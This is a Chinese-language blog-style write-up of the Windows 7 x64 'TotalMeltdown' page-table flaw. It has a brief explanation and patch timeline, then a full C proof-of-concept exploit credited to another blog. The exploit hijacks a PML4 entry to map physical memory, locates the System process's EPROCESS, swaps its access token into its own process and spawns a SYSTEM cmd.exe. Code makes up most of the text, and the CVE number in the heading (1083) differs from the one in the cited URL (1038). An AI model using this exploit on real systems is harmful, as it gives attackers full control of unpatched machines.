有趣的TotalMeltdown
漏洞编号
CVE-2018-1083
1、漏洞简介
描述转自FreeBuff:国外安全研究人员在微软2018年1月和2月的Windows7 x64和Windows Server 2008 R2安全更新中发现了一个致命错误,微软开发人员错误将只限内核访问的PML4(Page Map Level 4)页表设置为用户态可访问,导致任意进程可以对内核进行任意读写。我们称之为“裂谷”漏洞(国外研究人员或称为TotalMeltdown)。攻击者利用这个漏洞可以完全控制受害者的机器….
原文链接(原作者:腾讯电脑管家):一文读懂CPU漏洞“裂谷”TotalMeltdown
2、漏洞修复
已经修复:
2018.1.3 国外安全研究员公开熔断(Meltdown)和幽灵(Spectre)CPU漏洞
2018.1.3 微软发布CPU漏洞的安全更新补丁KB4056897
2018.1.5 腾讯安全迅速响应,安全研究员对漏洞进行深入研究
2018.1.6 电脑管家发布CPU漏洞检测修复工具
2018.2.13 微软发布包含修复CPU漏洞功能的2月安全补丁KB4074587
2018.3.13 微软发布包含修复CPU漏洞功能的3月安全补丁KB4088878
2018.3.27 国外安全研究员公开裂谷(TotalMeltdown)漏洞细节
2018.3.28 电脑管家对裂谷漏洞迅速响应,安全研究员对漏洞进行深入研究
2018.3.30 电脑管家发布裂谷漏洞的检测修复工具
原文给大家介绍了一下该漏洞的原理,且已经修复,我这里来说是怎么利用。
漏洞所在:受影响的系统: Windows 7 x64,Windows Server 2008 R2
3、漏洞利用分析
微软将映射到自身的0xFFFFF6FB`7DBED000地址对应的内存的权限错误设置为用户态可读,导致整个PML4所管理的内存均可被用户态可读写,包括整个内核空间的所有地址。
4丶漏洞复现
含有1月到2月中任意应用于WIN7X64 SP1的系统补丁 即可复现漏洞
例如kb4056897-》点我下载
使用腾讯电脑管家的检测工具即可发现已经有了测试环境
微软在WIN7-WIN10 10240 X64之前并未实现页表随机化那么
USER SPACE: 0 ~ 0x7F'FFFFFFFF (512GB*entry 0x0 + 0x512GB)
PAGING MANAGMENT: 0xFFFF8000'00000000 ~ 0xFFFF807F'FFFFFFFF (512GB*entry 0x100 + 0x512GB)
KERNEL SPACE 0xFFFFFF80'00000000 ~ 0xFFFFFFFF'FFFFFFFF (512GB*entry 0x1FF + 0x512GB)
- ( 512GB * 1GB * 2MB * 4KB ) * 0x100 (self-ref entry) we obtain the value 0x8040'20100000, then we add the canonical
uintptr_t pxe_base = 0xfffff6fb7dbed000ull;
uintptr_t ppe_base = 0xfffff6fb7da00000ull;
uintptr_t pde_base = 0xfffff6fb40000000ull;
uintptr_t pte_base = 0xfffff68000000000ull;
5丶POC
页表转换就不提了
该POC转自参考处Blog
步骤:检测是否存在裂谷漏洞->插入一个新的Pml4e->构建 512 32 2mb = 33gb physical memory space->寻找System EProcess和Our Eprocess 替换Token 创建新进程->done!此时新进程已拥有完整system权限。
void VAtoOffsets( UINT64 va) {
UINT64 phy_offset = va & 0xFFF;
UINT64 pt_index = (va >> 12) & 0x1FF;
UINT64 pde_index = (va >> (12 + 9)) & 0x1FF;
UINT64 pdpt_index = (va >> (12 + 9 + 9)) & 0x1FF;
UINT64 pml4_index = (va >> (12 + 9 + 9 + 9)) & 0x1FF;
printf("PML4 Index: %03xn", pml4_index);
printf("PDPT Index: %03xn", pdpt_index);
printf("PDE Index: %03xn", pde_index);
printf("PT Index: %03xn", pt_index);
printf("Page offset: %03xn", phy_offset);
}
void OffsetsToVA(UINT64 phy_offset, UINT64 pt_index, UINT64 pde_index, UINT64 pdpt_index, UINT64 pml4_index ) {
UINT64 va;
va = pml4_index << (12 + 9 + 9 + 9);
va = va | pdpt_index << (12 + 9 + 9);
va = va | pde_index << (12 + 9);
va = va | pt_index << 12;
va = va | phy_offset;
if ((va & 0x800000000000) == 0x800000000000) {
va |= 0xFFFF000000000000;
}
printf("Virtual Address: %xn", va);
}
#define PML4_BASE 0xFFFFF6FB7DBED000
#define PDP_BASE 0xFFFFF6FB7DA00000
#define PD_BASE 0xFFFFF6FB40000000
#define PT_BASE 0xFFFFF68000000000
int main()
{
printf("TotalMeltdown PrivEsc exploit by @_xpn_n");
printf(" paging code by @UlfFrisknn");
printf(" https://blog.xpnsec.com/total-meltdown-cve-2018-1038nn");
unsigned long long iPML4, vaPML4e, vaPDPT, iPDPT, vaPD, iPD;
DWORD done;
// Check for vulnerability
__try {
int test = *(unsigned long long *)PML4_BASE;//检测是否能够被应用层读取 因1月-2月的补丁错误将PML4_BASE 所处的自引用处的US位置1导致PML4_BASE能够被用户层读写
}
__except (EXCEPTION_EXECUTE_HANDLER) {
printf("[X] Could not access PML4 address, system likely not vulnerablen");
return 2;
}
// setup: PDPT @ fixed hi-jacked physical address: 0x10000
// This code uses the PML4 Self-Reference technique discussed, and iterates until we find a "free" PML4 entry
// we can hijack.
for (iPML4 = 256; iPML4 < 512; iPML4++) {
vaPML4e = PML4_BASE + (iPML4 << 3);
if (*(unsigned long long *)vaPML4e) { continue; }//寻找一个空闲的Pml4条目用作构建读写所有内核内存新页表
// When we find an entry, we add a pointer to the next table (PDPT), which will be
// stored at the physical address 0x10000
*(unsigned long long *)vaPML4e = 0x10067;
break;
}
printf("[*] PML4 Entry Added At Index: %dn", iPML4);
// Here, the PDPT table is referenced via a virtual address.
// For example, if we added our hijacked PML4 entry at index 256, this virtual address
// would be 0xFFFFF6FB7DA00000 + 0x100000
// This allows us to reference the physical address 0x10000 as:
// PML4 Index: 1ed | PDPT Index : 1ed | PDE Index : 1ed | PT Index : 100
vaPDPT = PDP_BASE + (iPML4 << (9 * 1 + 3));
printf("[*] PDPT Virtual Address: %p", vaPDPT);
// 2: setup 31 PDs @ physical addresses 0x11000-0x1f000 with 2MB pages
// Below is responsible for adding 31 entries to the PDPT
for (iPDPT = 0; iPDPT < 31; iPDPT++) {
*(unsigned long long *)(vaPDPT + (iPDPT << 3)) = 0x11067 + (iPDPT << 12);
}
// For each of the PDs, a further 512 PT's are created. This gives access to
// 512 * 32 * 2mb = 33gb physical memory space
for (iPDPT = 0; iPDPT < 31; iPDPT++) {
if ((iPDPT % 3) == 0)
printf("n[*] PD Virtual Addresses: ");
vaPD = PD_BASE + (iPML4 << (9 * 2 + 3)) + (iPDPT << (9 * 1 + 3));
printf("%p ", vaPD);
for (iPD = 0; iPD < 512; iPD++) {
// Below, notice the 0xe7 flags added to each entry.
// This is used to create a 2mb page rather than the standard 4096 byte page.
*(unsigned long long *)(vaPD + (iPD << 3)) = ((iPDPT * 512 + iPD) << 21) | 0xe7; //2MB页
}
}
//构建漏洞页表完成大概能够寻址30GB
printf("n[*] Page tables created, we now have access to ~31gb of physical memoryn");
#define EPROCESS_IMAGENAME_OFFSET 0x2e0
#define EPROCESS_TOKEN_OFFSET 0x208
#define EPROCESS_PRIORITY_OFFSET 0xF // This is the offset from IMAGENAME, not from base
unsigned long long ourEPROCESS = 0, systemEPROCESS = 0;
unsigned long long exploitVM = 0xffff000000000000 + (iPML4 << (9 * 4 + 3));
STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
printf("[*] Hunting for _EPROCESS structures in memoryn");
//遍历System EProcess 和自身进程EPROCESS
for (unsigned long long i = 0x100000; i < 31 * 512 * 2097152; i++) {
__try {
// Locate EPROCESS via the IMAGE_FILE_NAME field, and PRIORITY_CLASS field
if (ourEPROCESS == 0 && memcmp("TotalMeltdown.", (unsigned char *)(exploitVM + i), 14) == 0) {
if (*(unsigned char *)(exploitVM + i + EPROCESS_PRIORITY_OFFSET) == 0x2) {
ourEPROCESS = exploitVM + i - EPROCESS_IMAGENAME_OFFSET;
printf("[*] Found our _EPROCESS at %pn", ourEPROCESS);
}
}
// Locate EPROCESS via the IMAGE_FILE_NAME field, and PRIORITY_CLASS field
else if (systemEPROCESS == 0 && memcmp("System ", (unsigned char *)(exploitVM + i), 14) == 0) {
if (*(unsigned char *)(exploitVM + i + EPROCESS_PRIORITY_OFFSET) == 0x2) {
systemEPROCESS = exploitVM + i - EPROCESS_IMAGENAME_OFFSET;
printf("[*] Found System _EPROCESS at %pn", systemEPROCESS);
}
}
//寻找到了 把自身的Token替换成System进程的
if (systemEPROCESS != 0 && ourEPROCESS != 0) {
// Swap the tokens by copying the pointer to System Token field over our process token
printf("[*] Copying access token from %p to %pn", systemEPROCESS + EPROCESS_TOKEN_OFFSET, ourEPROCESS + EPROCESS_TOKEN_OFFSET);
printf("System Token:%pn", *(unsigned long long *)systemEPROCESS + EPROCESS_TOKEN_OFFSET);
printf("Our Token:%pn", *(unsigned long long *)ourEPROCESS + EPROCESS_TOKEN_OFFSET);
//*(unsigned long long *)((char *)ourEPROCESS + EPROCESS_TOKEN_OFFSET) = *(unsigned long long *)((char *)systemEPROCESS + EPROCESS_TOKEN_OFFSET);
// Maybe Bsod
printf("[*] Done, spawning SYSTEM shell...nn");
//新建的进程已经拥有System权限。
CreateProcess(0,
"cmd.exe",
NULL,
NULL,
TRUE,
0,
NULL,
"C:windowssystem32",
&si,
&pi);
break;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
printf("[X] Exception occured, stopping to avoid BSODn");
return 2;
}
}
getchar();
return 0;
}
6丶POC下载
CVE-2018-1083
参考处:https://blog.xpnsec.com/total-meltdown-cve-2018-1038/